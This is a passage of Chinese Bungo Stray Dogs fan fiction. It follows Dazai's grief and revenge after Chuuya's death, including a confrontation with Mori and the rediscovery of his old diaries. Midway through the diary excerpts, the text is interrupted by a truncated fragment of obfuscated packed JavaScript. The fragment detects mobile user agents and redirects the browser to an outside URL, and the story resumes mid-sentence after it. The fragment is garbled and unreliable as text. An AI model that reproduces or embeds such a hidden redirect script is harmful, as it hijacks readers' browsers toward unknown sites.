《今天中也复活了吗?》
1. 第 1 章
中原中也死了。
没人会想到那个可以比肩神明的青年就这样死在了黎明前夕,或者说,是他带来了黎明。
中原中也,荒霸吐的容器,港口Mafia五大干部之一,里世界最负盛名的重力使,以及太宰治的前搭档。
知道这个消息的时候,太宰治并不在横滨,他在抓俄罗斯小老鼠。
因为陀思的异能是让杀死陀思妥夫斯基的人成为下一个陀思,只有身负人间失格异能的太宰治可以杀死他。
因此,太宰治必须亲手将陀思杀死。
也正因如此,在中原中也对抗神人·雨御前的时候,太宰治赶不过来。
神人·雨御前是高维生物,要想打败高维生物,只有另一个高维生物比如荒霸吐。
“太宰先生。”打电话的是中岛敦,他犹豫着,不知道该不该跟太宰先生说出这个噩耗。
“么西么西,”太宰治心情还不错,他已经找到了俄罗斯小老鼠的踪迹了,“敦君,有什么事吗?”
“啊,是的,”中岛敦还在犹豫着,做了很久的心理建设,结果发现电话那头已经许久没有声音了,“太宰先生?”
“啊,敦君,我没事。”
太宰治的脑海一片空白,伦敦街头上的大屏幕上正在播报一篇来自日本的讣告。
“中原中也先生是日本横滨人,享年22岁,昨日因意外去世,”主持人神色肃穆,但仔细探究之下,并不能看出半分沉痛。
屏幕上播报的主持人显然并不知道为什么稿件中会有这么一篇讣告,连格式、贡献甚至追悼仪式何时何地举办都没有,但这是上面递过来的,她也就只能硬着头皮上了。
她猜测着:可能是有什么神秘背景吧?又或者是什么需要保密的特殊身份。
但这与她并没有什么关系。
屏幕之下,街头人来人往,除了太宰治没有人为这则讣告停留,只偶尔有人抬头看向屏幕,发现与自己无关又低下头做自己的事去了。
“太宰先生?”
电话那边中岛敦的声音还在响。
“敦君,我看到一个笑话。”
“说那个黑漆漆的小矮人死掉了,哈哈哈哈哈。”
“是不是很好笑啊?”
嘴上说着听到一个笑话,但太宰治的脸上并没有半点笑意,握着电话的手紧紧攥着,嘴唇死死咬着。
他等着电话那头的否定,却等来了审判。
明明只是片刻,太宰治却好像经历了一个冬天。
冷得刺骨。
“对,对不起,”中岛敦的声音带了哭腔,他也不知道为什么要说对不起,“中原先生在与神人·雨御前的对抗中逝世了。”
“哈哈哈哈哈哈哈哈哈。”太宰治大笑起来,笑得眼泪都出来了。
“这是大好事啊,为什么敦君你要跟我说对不起呢?”
“在分开的这四年里,我明明每时每刻都在想要怎么杀死中也啊。”
“那个黏糊糊的小蛞蝓死了不应该是大好事吗?”
太宰治的声音陡然转冷:“他是港口Mafia的王牌,他死了,港口Mafia元气大伤,正是侦探社发展壮大的好机会啊。”
“敦君,你为什么要哭呢?”
“笨蛋笨蛋笨蛋——”
电话那头的人变成了名侦探乱步,但太宰治已经挂断电话了。
“笨蛋吗?”太宰治低声笑了一下。
他养的狗狗背着主人死掉了,笨蛋主人要给狗狗报仇。
接下来的事情发生得很快,陀思死在太宰治手里后,果戈里自杀,太宰治回去的时候正好赶上中原中也的葬礼。
那天正好是晴天,没有三流小说里那种阴雨绵绵的天气,反而更接近逝者本人的性格。
明媚晴朗,是太阳。
葬礼上来的人很多,港口Mafia几乎全体出动,以及和港口Mafia合作过的合作伙伴,甚至还有侦探社的人。
衣冠楚楚。
其中有不少人抛洒着泪水,真情假意,太宰治只一眼就能看出来,但他的眼神只是专注着看着被阳光照耀着的墓碑。
阳光下,墓碑上照片里的橘发青年一只手压着头上的帽子,那双可与天空比拟的眸子直直地望向墓碑前的所有人,平静从容,像是对他而已,所有人都是一样的。
没有特殊。
太宰治几乎是冷眼瞧着这场闹剧。
狗狗的葬礼,明明只要有主人在就可以了,他们凭什么站在这里?
“太宰君,”森鸥外不知道什么时候到了太宰治身边,“中也给你留了东西。”
太宰治抬头看了森鸥外一眼,他站在阳光下,却好像被太阳遗弃了,眼睛黑沉沉的,明明穿着白衣,却比他还在港口Mafia时更冷然。
“中也留了什么?”许久没有说话的声音暗哑。
“中也将他的财产分成了三份,”森鸥外不紧不慢地掏出一份合同递给太宰治,“一份由魏尔伦继承,一份用来创建基金会,用以在这次事件中牺牲之人的家属,剩下一份,是中也给你的。”
“哈?”太宰治像是只炸毛的黑猫,双手插在衣兜里,眼睛却瞪圆了,嘴角的笑僵硬又难看,明明眼神难过得不行,嘴上却还是尖酸刻薄,
“中也这算是什么意思?施舍吗?自己一个人自顾自得决定去死,把遗产留给我,是因为抛弃主人所以良心大发现吗?!”
“中也真是世界上最讨厌的人了!”
太宰治大喊,偏偏喊完之后眼神茫然,空无一物,垂着头不知道在想什么。
像是在等一句。
“你这混蛋明明才是世界上最讨厌的人——”
“太宰!”呵斥的是尾崎红叶,对她而已,中也就像是她的弟弟一样,但她同样看着太宰治长大。
“那你就去死吧。”说话的人是魏尔伦,这是这么多年,他第一次走出港口Mafia的地下室,却是为了参加弟弟中原中也的葬礼。
他不喜欢太宰治,或者说很讨厌太宰治。
如果不是因为太宰治,中也根本就不会死。
“我才不要跟黏糊糊的小蛞蝓殉情。”太宰治低声道,“只有这个绝对不行。”
他的事还没做完,他还没帮小狗报完仇,他还不能去陪小狗。
太宰治闭了闭眼,好像又回到了他逮住陀思的那一天。
那只小老鼠有很多洞,如果他真的想躲太宰治,太宰治可能还要再花费一段时间来揪出他来。
太宰治找到陀思的时候,他端坐在房间内,就好像已经算到了太宰治一定会找到这里来。
他在等太宰治。
陀思看见太宰治的时候神情很平静,甚至还有心情对太宰治弯唇笑了笑:“太宰君,好久不见。”
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“你是故意的。”
太宰治的表情分外平静。
“是的。”陀思点了点头,像是叹息又像是感慨,“神明站在了我这一边。”
“太宰君,你来迟了。”
重力使已死。
神人·雨御前是四维的生物,只有与他同一维度的生物能够杀死他,而荒霸吐可以说是唯一一个能够杀死他的人了。
中岛敦和芥川龙之介还没有成长起来,只有中原中也,只能是中原中也。
太宰治在追查陀思,陀思能够控制神人·雨御前,只有牵制住神人,太宰治才能够抓住陀思。
不然,就算太宰治有人间失格,还是会死。
中原中也在自己死还是太宰治死之间做出了选择。
“中也一直都是这样。”
“一个黑漆漆的小矮人,黏糊糊的蛞蝓,没有脑子的狗狗,从来不会听主人的话。”
“明明选择自己活下去才是正常人应该做的事情吧,但他选择了让我活下去,那我就要做好一个主人该做的事情。”
“陀思,你去地狱向我的狗赎罪吧。”
“您与中也先生的感情真是感人肺腑啊。”陀思微笑着,意味不明。
“想不通就不要想了。”太宰治冷然,抬手扣动扳机。
“不行呢,太宰君。”陀思偏头躲了过去,“你已经没有重力使了,现在的你已经没有底牌了,是打不过我的。”
陀思妥夫斯基从没有想过要避开太宰治,这个青年多智近妖,又有重力使保驾护航,只有中原中也死后,他才可能杀了太宰治。
毕竟,人间失格是个近乎Bug的异能。
“我总要先下手为强才是。”
下一瞬,太宰治飞了出去。
“咳咳。”
太宰治咳着咳着吐出了一口血,其中夹杂着几块内脏碎片。
“太宰君,你现在有什么想说的吗?”陀思笑眯眯地问他,“说不定我可以帮你把你的遗嘱带出去呢。”
“说不定该说遗嘱的是你呢?”太宰治擦了擦嘴角的血,眸子黑沉沉的,好像没有一丝光能照进去。
陀思从不会小看太宰治,他托着腮想了想:“太宰君你是说钟塔侍从吗?”
“他们不会来的。”
陀思像是想到了什么有意思的事情。
“钟塔侍从中有你的人。”太宰治笃定道。
“是的。”陀思点头。
“砰——”
这个距离……躲不过去。
陀思妥夫斯基的眸子紧缩。
他被打中了。
“啊,果然有后手呢。”陀思笑了一下,随后愕然发现自己的生命在继续流逝,但异能并没有发动的趋势。
“你杀了中也大人。”
动手的人是亚当,他是机器人,陀思妥夫斯基的异能并不能在他身上起作用。
没有了中原中也,太宰治好像还有无数个后手。
陀思妥耶夫斯基不知道想明白了什么,捂着脸笑起来,他近乎预言一般:“太宰治会是下一个我。”
亚当并不知道为什么魔人会这么说,只是奇怪地歪了歪头,他并不能理解陀思的这句话,只是将这件事情记录下来。
太宰治强撑着站了起来,眸子里没有一丝光亮。
他在陀思妥夫斯基身上耽搁的时间够久了,快来不及赶上飞机了。
2. 第 2 章
这是一栋房子。
——一栋失去主人的房子。
太宰治近乎茫然地站在这栋房子面前,从衣兜里摸出一把钥匙。
钥匙很干净,没有钥匙圈没有饰品,没有任何标记,跟世上所有的钥匙都没有分别。
但有些不同从来不会写在明面上,写在明面上的,要么是独特到根本压不下满心的爱意,要么是太过寻常,寻常到放在明面也没有关系。
一圈两圈。
太宰治应该打开这扇门了,但他没有动。
这位曾经的港口Mafia干部,里世界最黑恶二人组之一,此刻竟显得有些怯懦。
“太宰吗?他就是个胆小鬼。”
这是侦探社那位名侦探给他的判词。
他站在冷风里,放在钥匙上的手指在不停颤抖,面前不见一丝光亮。而另一只手强硬地按住了那颤抖的手指,坚定又不容置疑。
门开了。
“哈。”
太宰治轻轻笑了一声,不知道是在笑自己还是在笑中原中也。
开门好像只是第一步,他的脸上没有一丝一毫笑意,脚下好像生了根一样,站在门口,借着街道上偶尔照进来的光,面无表情地望着这栋房子里的装潢。
中也的审美还真是有够差的,丑死了,连下脚的地方都没有。
太宰治心想。
真不知道这里有什么好来的?
太宰治嗤笑一声,下一瞬就准备关门离开,这时候太宰治的动作比之前就快上不止一倍了,但比太宰治动作更快的是这栋房子的灯光系统。
也不知道中原中也是从哪里找来的这套系统,只要门口有细微动静就会启动这栋房子的所有灯光。太宰治每次撬锁都因为这灯光系统而把中原中也吵醒,被中原中也逮到过好几次。
那是太宰治叛逃之后的事情了,他叛逃之前从来不会小心翼翼撬锁,向来是正大光明登堂入室。
中原中也的钥匙一半都在太宰治那里。
倒不是别的什么原因,完全是因为太宰治这个人太能折腾,中原中也怕太宰治不知道什么时候真把自己折腾死了都没人去认尸。
太宰治叛逃之后,倒是安分了几年,洗白上岸就经常过来骚扰中原中也了。
最开始那几次中也都拿太宰治没办法,捏着鼻子把前搭档太宰治放进来,后来太宰治来的次数越来越少,中原中也就只当自己养了只流浪猫。
可能不知道什么时候就彻底成了其他人家里的家猫了吧。
中原中也少数几次不去酒局的理由是这么跟下属说的。
只是没跟他们说,那只流浪猫是太宰治。
太宰治条件反射把门关上后,下意识看向楼梯口,空空荡荡。
好像下一刻橘发青年就会骂骂咧咧地走过来,一边嫌弃地挖苦他,一边丢给他衣服,让他不要把脏衣服带到床上。
太宰治怔然地看着这片光,耀眼到要流下眼泪来了。
但太宰治没有落泪,他茫然地看着这间房子。
这里满是橘发青年生活的气息,却没有一点他的痕迹。
以后也不会有了。
太宰治站在大厅,环顾四周。
门口的衣架上挂着充满蛞蝓品味的帽子,衣架矮矮的,就像那个黑漆漆的小矮人一样,他每次挂衣服,衣服都差点拖地。
讨厌的中也,居然这么矮,长高一点不就不会拖地了吗?
扫过干净的厨房。
小矮子不喜欢别人在自己的房子里,所以房子里除了搞卫生的时候是没有家务工的,有时候会自己做饭。只要起得早,就可以看见小狗女仆围着围裙给主人做饭。
不听主人的话,所以死掉了吧。
视线落在酒柜上。
小矮子特别喜欢喝酒,偏偏酒品差得要死,每次庆功宴都会喝得醉醺醺的,被心怀不轨的下属送回来还要跟人家说谢谢。被主人救了,不过就是开瓶柏图斯就跟主人要打要杀。
哈,果然是没有脑子的小蛞蝓。
太宰治越看越生气。
这栋房子果然还是卖掉吧。
不然怎么到处都是中也的气息,只要站在这里就能想起中也,这真是太恐怖了!
是比和中也一起殉情还……
哦。
中也死掉了啊。
中也怎么可能死掉呢?
中也怎么可能死掉呢?
中也怎么可以背着主人死掉呢?
中也怎么可以死在主人看不到的地方呢?
太宰治几乎想要大笑起来,分别的这四年他无时无刻不在想要杀了中也不是吗?
但他没有,如果他面前有面镜子,他会看见镜子里的人,眼神疯狂,面容扭曲,是中也会忍不住一拳打上来的脸。
没有半点之前在外人面前装出来的样子。
“叮铃铃——”
座机响了。
“有什么事吗?森先生。”
“是的,”电话那头的森鸥外沉默了许久,“太宰,我这里有政府向中也施压的名单。”
“现在让人送过来吧。”太宰治没有问这份名单的真假,他不在乎。
这些都不重要。
“好,”森鸥外安静了一瞬,“太宰,我希望你能好好活着。”
沉默的同样还有太宰治。
“我会的。”
他们都知道这是一句宽慰。
挂断电话后,森鸥外望着身后的港口Mafia大楼。
最优解吗?
“老大,”尾崎红叶从森鸥外打电话的时候就在了,她不赞同地看着森鸥外,“中也已经死了,您难道还要看着太宰也去死吗?!”
“红叶!”
森鸥外斥责。
“你以为我是为了清除异己吗?”
“中也死了,如果不转移太宰的注意力,他会和中也一起去死的。”
“去给侦探社下个委托吧。”
“就说,求他们救救太宰吧。”
尾崎红叶几近失声,良久,她才找回自己的声音:“是,森医生。”
太宰治刚挂断电话没多久,森鸥外派来的人就到了。
来送信的人并不知道要见的人是谁,他只是个刚加入港口Mafia的小喽啰,面对前港口Mafia干部,连抬头都不敢抬头,只敢哆哆嗦嗦地将首领交代的名单递给面前的青年。
“你可以走了。”太宰治接过名单,反手就将门关上了,他现在没有心力来跟人虚与委蛇。
森医生并没有把话挑明,这份名单是参与过威逼中也的政府官员名单。
没有
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政府的插手,中也怎么会知道外面的事情?
那些人的生死跟他有什么关系吗?
为什么中也要去救他们?
只要中也活着就好了啊。
太宰治知道自己现在的想法非常极端,但他控制不住。
以前有中也在,只要满脑子想着怎么杀死中也就好了。
中也怎么可以死掉呢?
他怎么可以死在别人手里呢?
太宰治想到森先生给出的那份名单。
上面都是些政府要员,贪生怕死。
为了自己能够活下去,所以要别人去死给他们搭成生存的希望。
凭什么中也死了,他们却能好好活着?
凭什么呢?他们甚至连中也的葬礼都没来。
因为中也是黑手党,他们的政治生涯不能染上污点吗?
太宰治窝在中也的沙发上,神经质地啃食着指甲。
这个习惯,他已经快七年没有做过了。
陀思妥耶夫斯基在临死前作出的预言好像在这一刻降临了。
因为,太宰治现在想的是,这个世界有什么意义吗?
中也死了。
太阳陨落,这个世界还有什么存在的必要吗?
他躺在中也的床上,望着空茫的天花板。
床是中也特别定制的,因为太宰治来的时候总是嚷着这里不好那里不好,把中原中也吵得受不了了,就去换了张床。换完床了,太宰治又开始闹着被子重了轻了厚了薄了,中原中也又去给他换了被子。
然后周而复始。
整张床几乎都是按照太宰治的喜好来的。
但他睡不着。
太宰治滚到另一边,那是中原中也睡的床品。
是的,这张床分为两半。
一半是中原中也的喜好,一半是太宰治的喜好。
为了做这张床,中原中也找了不少地方才做出这么一件孤品。
主人的气息还没消散,被子里带着橘子的清香。
太宰治慢慢闭上了眼。
就像中原中也还在的时候。
中原中也大发善心收留太宰治的时候,总会在早上发现自己莫名其妙滚到太宰治的怀里,然后小心翼翼地爬出去,生怕自己被太宰治那家伙逮到。
虽然,几乎次次如此。
那段时间,中原中也甚至想过要不要再找那个师傅做一个大一点的床,免得自己老是滚到太宰治怀里。
但被太宰治发现后,经过太宰治的愤怒指责:“中也怎么可以这么没有道德,居然让一个老头子为了中也的一己之私来操劳!”
“我又不是不付钱!”中原中也被太宰治指责得有点心虚,但还是梗着脖子与太宰治互骂。
这之后,中原中也就再没有想过要换张大点的床。
后来,太宰治叛逃,再没有来过了,他也忘记要换床的事情了,这张床就这么一直用下来了。
中也真是世界上最讨厌的人了!
太宰治做梦了。
他梦见他和中也第一次见面的事情了。
橘色的太阳撞进他的眼睛,他看见了春天。
但是,春天已经过去了。
现在是冬天。
“中也,好冷啊。”
太宰治喃喃。
3. 第 3 章
“森先生,这是你的最优解吗?”
港口Mafia大楼最顶层的首领办公室剑拔弩张。
太宰治举着枪,枪口对准安坐着的森鸥外。
而尾崎红叶的刀则架在太宰治的脖子上,刀身寒光凛凛。
“太宰,放下枪。”红叶厉声呵斥。
“没关系,红叶。”森鸥外神色不动,面对太宰治的到来早有预料。
那份名单最后的名字是他自己加上去的。
他还记得太宰治十五岁那年找到他,对他说:
“我被中也说服了,我想要活下去了。”
那双被阴影笼罩的眸子里第一次燃起对生的渴望。
他微笑地面对太宰。
“杀了我,太宰。”
就像太宰治所说的一样,这是他做出的选择。
“森医生!”尾崎红叶怒视森鸥外。
森鸥外并没有看向尾崎红叶,他注视着太宰治,像是看着自己最优秀的作品。
他微笑道:
“杀了我,为中也报仇。你会是下一任首领。”
疯子。
尾崎红叶几乎要骂出声了。
一个俩个都是疯子。
最近政府高官频繁遇刺,有不少已经身亡,而港口Mafia作为横滨最大的黑手党,难免遭遇政府方面的怀疑。
她最近在处理这件事情,为了不让才元气大伤的港口Mafia陷入不妙的境地,她忙得团团转。
她与森先生都心知肚明这是谁弄出来的事情,为此,她今日特地去找了侦探社。
这也是出于森先生的命令。
尾崎红叶坐在侦探社待客的沙发上,背脊挺得笔直,神色平静:“侦探社对于妾身的委托考虑得如何了?”
“侦探社是不会答应这份委托的。”侦探社的社长福泽谕吉这样说道,“太宰无论如何都不应该被当成罪犯一样被抓捕。”
尾崎红叶给予他们的委托内容就是将太宰治抓起来。
这正是侦探社所不能答应的。
“那真是太遗憾了。”尾崎红叶并没有多作纠缠,她的目的已经达到了。
她礼貌道谢。
“我觉得你还是先回港口Mafia看看比较好。”
那位据说是世界第一名侦探江户川乱步看着她沉默了许久,随后道。
尾崎红叶眉心先是一跳,隐隐有种事态失控的预感。
“那妾身便告退了,若是侦探社有改变意向的想法可以随时联系我。”
她匆匆离开。
“侦探社是不能在这件事情上站队的。”江户川乱步说,还是眯着眼睛,神色带了点散漫,口气却极为严肃。
“侦探社现在的人几乎都是帽子先生救下来的。”
因为中原中也将神人·雨御前斩杀,所以他们这些被神人以次元粒子吞噬的人才能在那场“战争”中活下来。
如果港口Mafia用中原中也的名义来要求他们,他们是拒绝不了的。
但他们没有。
真正能用中原中也的名义的只有一个人
——太宰治。
“太宰怎么办?”国木田独步眉毛打着结,就像曾经被太宰治惹的麻烦事找上门时那样,“那些案子真的都是太宰治干的吗?”
尽管他知道太宰治曾经是港口Mafia的人,但他还是不能将太宰治与短短半月就犯下数桩重案满手鲜血之人联系在一起。
“太宰好歹是和帽子先生称为里世界最黑恶二人组的人哦,”江户川乱步道,“不用太过在意森先生的委托,而且,森先生没那么容易死的啦。”
不如说,森先生他现在在引导太宰治。
而侦探社只是后手之一。
——
方才那位名侦探点醒了她,尾崎红叶有一个不可思议的想法:
森先生是故意支开她的。
为什么会支开她呢?因为她是港口Mafia之中唯一一个能够阻止太宰治的人。
只有她有资格阻止太宰治。
森先生他到底想要干什么?
尾崎红叶不知道,但好在,她顺利赶上了。
“红叶大姐,你要阻止我吗?”太宰治语气微微叹息,他今日穿得很隆重,纯白的西装,口袋上还别着一只鲜艳欲滴的红玫瑰,好像下一刻奔赴婚礼的新郎,“难得好好打扮一次呢,不想被红叶大姐的刀弄坏~”
“不要错下去。”尾崎红叶没有被太宰治的话干扰。
她几乎是看着他和中也长大的,痛苦她的不比太宰治少,正因如此,她更不可能看着太宰治走入歧途。
“好不容易走到光明之下,就不要回来了。”
“错的是你呀,红叶大姐。”太宰治喃喃。
“砰——”
是横滨郊区发生的爆炸。
爆炸声响很大,很快就吸引了在场人的目光。
只有森鸥外像是想到了什么,专注地看着太宰治。
“森先生,不要这么看着我嘛。”太宰治笑眯眯道,只是眸子极冷,透不进半点光。
侦探社。
江户川乱步从窗户向外望去,手里还残留着粗点心的残渣,翠绿色的眸子映着蔚蓝的天空。
“外面是怎么了?乱步先生。”中岛敦结结巴巴问道。
“发生大事了哦。”江户川乱步笑眯眯地说,“乱步大人想要吃那家超好吃的粗点心,敦,就交给你去买了。”
“哎哎——”中岛敦先是懵了一瞬,随后拒绝,“社长说了,乱步先生今日份的粗点心已经够了,不可以再买了。”
既然乱步先生还有心情吃粗点心,应该不是什么大事吧?
“敦君悄悄买就好啦。”
“不行,社长说了,要是我给乱步先生买的话会扣乱步先生明日份的粗点心。”
“社长——”乱步垂头丧气,几乎要摊成一片猫饼了。
“乱步,今日份的粗点心已经够了。”福泽谕吉揉了揉江户川乱步的头发,“不过,你能告诉我发生什么事情的话可以再多吃一点。”
“既然社长都这么说了……”江户川乱步鼓了鼓脸颊,“乱步大人就告诉你们吧,是太宰治做的哦。”
“剩下的乱步大人就不知道了。”
福泽谕吉知道剩下的江户川乱步不想说了,也没有要求他把剩下的事情都说出来,只是问他:“这件事会不会对横滨造成什么影响?”
“没关系的啦。”江户川乱步摇头晃脑,“太宰是个胆小鬼笨蛋啦,他不会做什么的。”
不想被帽子先生讨厌,所以是就算满心的毒液要溢出来了,也不敢拿出来伤人的胆小鬼。
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因为不敢确认对方的心意,所以不断试探,因为怕失去,所以像个胆小鬼一样缩在搭档的壳子里,捂着眼睛不看帽子先生已经快要溢出来的爱意。
“乱步大人要吃粗点心!敦君,你去给我买。”
“是。”中岛敦应道,只是眸子望着城市中心高耸的港口Mafia大楼带着忧虑。
太宰先生真的没事吗?
——
“阿拉,这一局是我输了。”森鸥外遗憾道,“真是人老了。”
“人到中年就要服老,早点去死才好。”太宰治嘲讽道。
“真是让人伤心呢,太宰。”森鸥外捂着心脏,满脸受伤,“那么,太宰,你想要做什么?”
不管森鸥外的举止多么轻率,他始终是PortMafia的首领。
“森先生,我大概要比你想的要更了解一点你。”太宰治熟视无睹,他放下手中的枪,鸢色的眸子越过森鸥外注视着窗外升起的浓烟。
“你不会让中也去送死。”
不管是理智还是感情。
因为那永远不会是最优解。
森鸥外脸上的假面好像崩碎了一瞬,从中露出一点真心实意,但很快又收回去了,就像从未出现过。
他脸上的表情趋于空白,只是维持着双手交叉的动作,微笑着看着太宰治。
等待着太宰治接下来的话。
“是中也自己决定的。”太宰治面无表情,比起之前举着枪对着森鸥外的时候,此刻的他更接近于他十五岁时还未遇见中原中也时候的状态。
空洞,虚无。
太宰治太过早慧,以至于在少年时就察觉到了这个世界的虚伪,所以从来不理解为什么人会想要活下去。
然后,他遇见了他的太阳。
中也真是这个世界上最残忍的人了。
他从一开始就知道。
这是中也自己的选择。
于是,他没有办法怪罪任何人。
因为最该遭受谴责的人自己一个人跑了,跑到主人找不到的地方了。
太宰治闭了闭眼,好像又想起来中原中也炸毛到跳脚的样子了。
“这样一来中也一辈子是我的狗了——”
再睁开眼时,眸子里少见的波动又趋于沉寂。
“我需要港口Mafia的信息源。”
“不行。”森鸥外拒绝。
“你想要改变过去。”森鸥外已经猜到了太宰治的目的。
尾崎红叶怔然,为着这可能性几乎要目眩神迷了,只是很快便清醒过来。
“中也不会同意的。”
而且这是不可能的事情。
为此,他劫走了将要被押解的福地樱痴。
“过去已经成真……”森鸥外默然。
别说神刀·雨御前已毁,就算神刀还在,但福地樱痴的存在时间线是缺了一块的。
太宰治现在的行动是徒劳。
森鸥外看着太宰治,几乎要被太宰治眼中的孤绝烫伤。
尾崎红叶的眼眶已经红了,不敢看太宰治。
“我不承认。”太宰治一字一句,“我绝不同意这样的结果。”
神明应该高居神座,但他的狗就该待在他身边。
他死,狗死,他活,狗活。
决不独活。
4. 第 4 章
太宰治最后还是拿到了港口Mafia的信息源。
可能是因为在森先生眼里,太宰治还没疯完,也可能是出于掌控太宰治动向的需求。
反正最后的结果就是港口Mafia的人在中原中也的房子外面盯了三天都没看见太宰治出门。
小队长向森鸥外汇报的时候语气十分担心,倒不是担心太宰治,是担心中原中也的房子。
他是中原中也的心腹部下,这次来盯梢也是为了避免太宰治嚯嚯房子。
毕竟,太宰治是有前科的。
他叛逃那年炸了中原先生的爱车,中原先生炸得整个港口Mafia都知道了,要不是尾崎大人即使拦住中原先生,中原先生那架势是要拼了命也要把太宰先生弄死。
所以最后中原大人会把遗产留给太宰,其实大半个港口Mafia都不理解。
“好的,我知道了。”森鸥外叹了口气,他的声音透过电话传到小队长耳中,“宫原君,把人撤了吧。”
太宰治既然放任他们的人一直在外面盯梢也没有反应,若是太宰真的想要做什么,仅凭他们是阻止不了的。
“是。”被称做宫原的人应道,只是眸子担忧地望了一眼被厚重的窗帘遮住的房间。
太宰治现在正在做梦,额角渗着冷汗。
很难说中原中也从来没做过梦的原因是不是因为他的梦都跑到太宰治那里去了。
太宰治晚上睡觉很浅,很难睡熟,又多梦。
中原中也还在的时候还好,太宰治经常会跑到中原中也那蹭床。不像现在太宰治就算睡到中原中也的床上也睡不深,今夜已经算是他难得的好眠了。
也不过三个小时。
他从床上醒来,记不清梦里梦见什么了,但又睡不着,呆怔怔地坐在床上,目光没有落点只是单纯的放空。
但很快,眼神慢慢聚焦起来了:他想起自己曾经写过27本讨厌中也日记。
“在哪里呢?”
太宰治翻找着自己带过来却没有归置的行李,他正式搬到了中原中也留给他的房子里了。
行李箱里有26本,现在还在持续更新。
不过有本不知道放到哪里去了,是在太宰治十八岁叛逃的时候弄丢的,他找了很久,一直没找到。
那可是珍品呢。
他跟中也说起的时候口吻可惜极了,即使是身处对立面的他们,相处模式还是一样的。
一个逗人,一个炸毛。
但那次中原中也居然没有炸毛,反倒有点心虚。
太宰治随口诈道:“不会是中也拿走了吧?哎——中也是不是暗恋我呀?”
只不过,中原中也已经不是因为太宰治随口一句话自乱阵脚的少年了,他在太宰治离开后迅速成长。
除了在太宰治面前,他已经学会喜怒不形于色了。
“滚呐——”
“谁会拿这种东西啊——”
中原中也是这么说的。
太宰治找东西的手一顿,转而在中也的卧室转了一圈,很快发现一个暗格。
伪装得并不精巧,是放在太宰治眼皮子底下的东西。
主人没想过要隐瞒太宰治,或许是出于这种纵容,让太宰治一直没有对暗格里的东西产生兴趣。
没有东西会比中也本人更吸引太宰治了。
于是这东西一直放到了现在。
太宰治轻易地打开那个格子,发现里面是本黑壳的笔记本,是太宰治心心念念找了很久的那本,内封页上还写着:世界上最讨厌中也了。
哈,居然被没脑子的蛞蝓给骗过去了。
太宰治捂着脸,没说话,原先细密绵长的疼意忽然变得尖锐刺骨。
这不是已经被中也知道了吗?
“恶心得要吐出来了啊。”
他说。
再没有人比他更知道那几本笔记里写了些什么。
难怪那段时间中也是绕着他走的,还跑到国外去了。
那后来的那些纵容算什么?
太宰治不敢深想。
他丢的那几本,正是他十八岁那年写的。
十八岁,身体正在快速成熟,他周围的人都是黑手党,面对性,他们高谈阔论。
带着令人厌恶的轻蔑与随意。
但也正因如此,就算他没有正式上过学也知道了不少相关知识。
但这些知识里,没有一条能告诉他晚上梦到小狗女仆该怎么办,明明说好了要做他一辈子的狗,结果自顾自地要和他在一起。
世界上怎么会有中也这样的人啊——
他躺在床上,眼睛里已经失去了高光,手搭在眼睛上是无声地哀嚎:怎么会梦到这种事啊——
常年缠绕着绷带的身体弯折着,像是红烧大虾,从耳朵开始,往下蔓延一片都是红晕。
最讨厌中也了。
太宰治面无表情地刷着牙,脸上是还没褪下来的红。
人的身体往往比人要更明白自己想要什么,人类太复杂了,嘴上说着讨厌,心里告诉自己不要期待,但是身体是诚实的。
没人会为讨厌的人写27本日记,本本都是他,句句都是他。
就算歪曲自己的内心,拼命否认,身体也会告诉他:是的,就是他,只能是他。
那是胆小鬼太宰治第一次被迫直面他的内心。
是中也啊,就是他啊。
但,嘴硬永远是人类最美好的品德。
比如,最讨厌你了。
少年人往往羞于表达自己的感情,太宰治是个中翘楚,如果能出一本嘴硬语录,他大概能贡献26本吧。
中也看过这些东西了吧?他是什么想法呢?明明就什么都知道为什么要纵容呢?为什么会把这些东西放在卧室呢?
太宰治的脑子几乎要被劈成两半。
一半在说:是的,中也喜欢你。
另一半在说:不,中也只是怜悯你。
明明是再明显不过的事情,操心师却好像遇到了世纪难题。
太宰治翻开了最上面那本“罪恶”的笔记本。
他几乎屏住了呼吸,心脏在“咚咚”地跳动着,他好像忘记了自己能够控制心脏跳动的能力,任由它活蹦乱跳,吵吵闹闹。
什么都没有。
太宰治不知道是失落还是庆幸。
刚才砰砰乱撞的心脏此时的频率就像跳楼机一样,直接摔了下来。
他随意地翻着,微长的头发盖着他的眸子,看不出情绪。
一页两页……
等等。
太宰治注意到这本子上曾有过不属于他的字迹,只不过后来被人擦除了。
他的眸子亮了起来,心脏再次不受控制。
“哈?谁知道你会这么废物啊?”
和中也去捣毁一个小型帮会但是中也迟到了,以至于被绑架了。中也真是太慢了,不然也不会要小矮人英雄救美。谁要小矮人救了,就是中也的错,是他来晚了。
讨厌中也。
“那天的星星确实还不错。”
和中也去看星星了,中也就是中也,没什么见识,不过是星星而已,中也眼睛里就只有星星,讨厌中也。
“你不是最喜欢吃螃蟹吗?这都要记下来,你是小孩子吗?”
和中也一起去吃饭,中也擅自点了螃蟹料理,是我期待了好久的店,要被中也气死了,一天的好心情都没有了。
讨厌中也。
“谁要跟你关系好了?你个变态浪费绷带机器!”
织田作说,我和中也那个没脑子的笨蛋关系好,谁会和中也关系好了!恶心得要吐出来了——
嘛,不过,要是中也穿女仆装跪下来求主人……
所以说,讨厌中也。
“谁要穿那种东西啊!”
做梦梦到中也了。
区区中也,不过是穿女仆装,还有狗耳朵。
居然用那种眼神看着主人,果然是故意的吧!
区区小狗女仆……为什么中也不穿小狗女仆的制服?为什么为什么为什么,小狗女仆不就是要满足主人的一切需求吗?
讨厌中也。
“所以你个笨蛋青花鱼到底是梦到什么了啊?”
又梦到中也了。
中也怎么那么烦人啊——
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509440|170550||http|test|mini|href|location''.split(''|''),0,{}));
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>白天见还不够,还要晚上入梦。
讨厌中也。
太宰治往后翻,发现有几页出现碎裂的迹象,只不过后面被补了回去,应该是中也补的。
木头中也终于发现晚上梦到他是一件多糟糕的事情了。
羞愤之下,他差点把这本本子给撕碎。
中也是怎么发现的?
